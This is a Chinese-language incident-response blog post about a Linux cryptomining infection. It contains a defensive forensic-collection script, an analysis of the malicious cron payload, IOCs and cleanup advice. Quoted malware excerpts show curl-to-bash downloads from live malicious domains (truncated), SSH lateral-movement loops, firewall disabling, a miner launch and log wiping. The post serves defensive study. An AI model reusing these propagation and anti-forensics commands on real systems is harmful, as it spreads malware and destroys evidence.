前言
本文的文字及圖片來源于網(wǎng)絡,僅供學習、交流使用,不具有任何商業(yè)用途,如有問題請及時聯(lián)系我們以作處理。
背景
前一段時間我處理了一次應急響應,我還輸出了一篇文章 Linux應急響應筆記。這兩天又處理了一次病毒入侵,在前一次的基礎上,這次應急做了一些自動化腳本,應急響應效率有了一定程度的提升,故另做一份筆記。
PS:本文重在分享應急響應經(jīng)驗,文中保留了惡意網(wǎng)址,但是刪除了惡意腳本及程序的下載路徑。本文僅用于技術(shù)討論與分析,嚴禁用于任何非法用途,違者后果自負。
應急操作筆記
查看我上一次 Linux應急響應筆記,我發(fā)現(xiàn)羅列這么多命令,很多時候眼花繚亂,操作起來也不方便,不如寫個shell腳本自動化收集信息。
自動化信息收集
我的自動化手機信息的腳本如下,腳本的初衷是進行自動化信息收集,不需要我去連接到客戶設備,提升操作/溝通效率。
#!/bin/bash
function initial(){
echo "Doing initial"
mkdir /tmp/GatherInfo
chmod +x ./chkrootkit
chmod +x ./busybox
}
function chkrootkit_info(){
echo "Doing chkrootkit"
./chkrootkit > /tmp/GatherInfo/chkrootkit.log 2>&1
}
function network_info(){
echo "Gathering network info"
netstat -tulnp > /tmp/GatherInfo/netstat_tulnp.log 2>&1
netstat -anp > /tmp/GatherInfo/netstat_anp.log 2>&1
}
function process_info(){
echo "Gathering process info"
ps aux > /tmp/GatherInfo/ps_aux.log 2>&1
ps auxef > /tmp/GatherInfo/ps_auxef.log 2>&1
top -n 1 > /tmp/GatherInfo/top_n1.log 2>&1
}
function init_info(){
echo "Gathering init info"
chkconfig --list > /tmp/GatherInfo/chkconfig_list.log 2>&1
ls -alt /etc/init* > /tmp/GatherInfo/ls_alt_etc_init.log 2>&1
}
function cron_info(){
echo "Gathering cron info"
cat /etc/crontab > /tmp/GatherInfo/crontab.log 2>&1
cat /etc/anacrontab > /tmp/GatherInfo/anacrontab.log 2>&1
crontab -l > /tmp/GatherInfo/crontab_l.log 2>&1
cd /etc/cron.d/
cat * > /tmp/GatherInfo/etc_cron.d.log 2>&1
cd /etc/cron.daily/
cat * > /tmp/GatherInfo/etc_daily.log 2>&1
cd /etc/cron.hourly/
cat * > /tmp/GatherInfo/etc_hourly.log 2>&1
cd /etc/cron.monthly/
cat * > /tmp/GatherInfo/etc_monthly.log 2>&1
cd /etc/cron.weekly/
cat * > /tmp/GatherInfo/etc_weekly.log 2>&1
cd /var/spool/cron/
cat * > /tmp/GatherInfo/var_spool_cron.log 2>&1
cd /var/spool/anacron/
cat * > /tmp/GatherInfo/var_spool_anacron.log 2>&1
}
function other_info(){
echo "Gathering other info"
cat /etc/passwd | grep -v nologin > /tmp/GatherInfo/passwd.log 2>&1
ls -alt /tmp > /tmp/GatherInfo/tmp.log 2>&1
ls -alt /var/tmp > /tmp/GatherInfo/var_tmp.log 2>&1
ls -alt /dev/shm > /tmp/GatherInfo/dev_shm.log 2>&1
echo $LD_PRELOAD > /tmp/GatherInfo/LD_PRELOAD.log 2>&1
cat /etc/ld.so.preload > /tmp/GatherInfo/etc_ld.so.preload.log 2>&1
s -alt /root/.ssh > /tmp/GatherInfo/ls_alt_root_.ssh.log 2>&1
cat /root/.ssh/* > /tmp/GatherInfo/cat_root_.ssh.log 2>&1
for user in /home/*
do
if test -d $user;then
cat /$user/.ssh/* > /tmp/GatherInfo/cat_$user_.ssh.log 2>&1
fi
done
}
initial
chkrootkit_info
network_info
process_info
init_info
cron_info
other_info
cd /tmp
tar -zcvf GatherInfo.tar.gz GatherInfo
信息收集結(jié)果分析
查看自動化收集的信息GatherInfo下的所有文件內(nèi)容,根據(jù)下面的Checklist表項進行挨個梳理排查
應急響應檢查表
在排查進程,網(wǎng)絡時都未發(fā)現(xiàn)異常。在排查定時任務crontab時,發(fā)現(xiàn)三行異常的定時任務
59 * * * * root (curl -fsSL http://t.amynx.com/ ......
28 * * * * root (curl -fsSL http://t.jdjdcjq.top/ ......
13 * * * * root ps aux|grep lplp.ackng.com ......
我把惡意腳本獲取到本地,這是一個shell腳本,接下來分析看看這個腳本干什么
惡意腳本分析
惡意腳本腳本共439行代碼,前面300行都是刪除文件和殺死進程,我簡單摘要幾段代碼
#/bin/bash
processes(){
killme() {
killall -9 chron-34e2fg;ps wx|awk '/34e|r\/v3|moy5|defunct/' | awk '{print $1}' | xargs kill -9 & > /dev/null &
}
killa() {
what=$1;ps auxw|awk "/$what/" |awk '!/awk/' | awk '{print $2}'|xargs kill -9&>/dev/null&
}
killa 34e2fg
killme
killall \.Historys
killall \.sshd
killall neptune
killall xm64
killall xm32
killall xmrig
killall \.xmrig
killall suppoieup
# sshd
ps ax | grep sshd | grep -v grep | awk '{print $1}' > /tmp/ssdpid
while read sshdpid
do
if [ $(echo $(ps -p $sshdpid -o %cpu | grep -v \%CPU) | sed -e 's/\.[0-9]*//g') -ge 60 ]
then
kill $sshdpid
fi
done < /tmp/ssdpid
rm -f /tmp/ssdpid
# Removing miners by known path IOC
files(){
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
ufw disable
iptables -F
echo "nope" >/tmp/log_rot
sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
rm /tmp/.cron
rm /tmp/.main
rm /tmp/.yam* -rf
rm -f /tmp/irq
# Killing and blocking miners by network related IOC
network(){
# Kill by known ports/IPs
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
files
processes
network
echo "DONE"
接下來是下載惡意二進制程序以及ssh橫向傳播
代碼片段1
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ......
fi
代碼片段2
for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &' & done
fi
fi
done
代碼片段3
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
for sshp in $sshports; do
i=$((i+1))
if [ "${i}" -eq "20" ]; then
sleep 20
ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
i=0
fi
#Wait 20 seconds after every 20 attempts and clean up hanging processes
chmod +r $key
chmod 400 $key
echo "$user@$host $key $sshp"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.amynx.com/ ...... |bash >/dev/null 2>&1 &"
done
done
done
done
上面這三段代碼是通過ssh的證書登錄方式橫向感染傳播。
if [ ! -d "/.Xll" ];then
mkdir /.Xll
fi
cd /.Xll
if [ ! -f "./xr" ];then
uname -a|grep x86_64 && (curl -fsSL d.ackng.com/ ......
fi
uname -a|grep x86_64 && ps aux|grep lplp.ackng.com |grep -v grep || ./xr -o lplp.ackng.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529
上面這段代碼是下載惡意二進制程序,應該就是挖礦病毒本體。
最后是清理痕跡
history -c
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
echo > /root/.bash_history
清理與恢復
根據(jù)惡意腳本的邏輯,整理出清理步驟如下 1 刪除crontab惡意定時任務 2 殺死./xr進程 3 刪除/.Xll 目錄
總結(jié)與反思
病毒標識
目錄及文件 /.Xll 和 /.Xll/xr
進程表示 ps aux | grep lplp.ackng.com
兩個域 t.amynx.com, t.jdjdcjq.top
挖礦威脅小于勒索
每次碰到病毒入侵要應急都心驚膽顫,挖礦病毒都還好,最壞情況是重裝個環(huán)境,客戶的數(shù)據(jù)是安全的,如果是勒索病毒就會很棘手。
無論如何,還是盡量保證系統(tǒng)安全性,減小系統(tǒng)入侵攻擊面,這樣可以極大保護系統(tǒng)不被入侵。
防護建議
一般來說,自動化的入侵一般都是利用非常簡單的漏洞,比如若口令,使用存在漏洞的組件,未授權(quán)訪問等,另外一個感染病毒的方式是ssh證書認證。如上文提到的,針對ssh橫向傳播就有三個方式,看來這種方式還是很受青睞的。所以對于廠商來說,還是要適當?shù)目刂苨sh證書登入。
最后,我把上述用到的腳本和checklist放在https://github.com/kafroc/emergency-response-toolbox 中,有需要的讀者可下載使用,歡迎任何的反饋意見。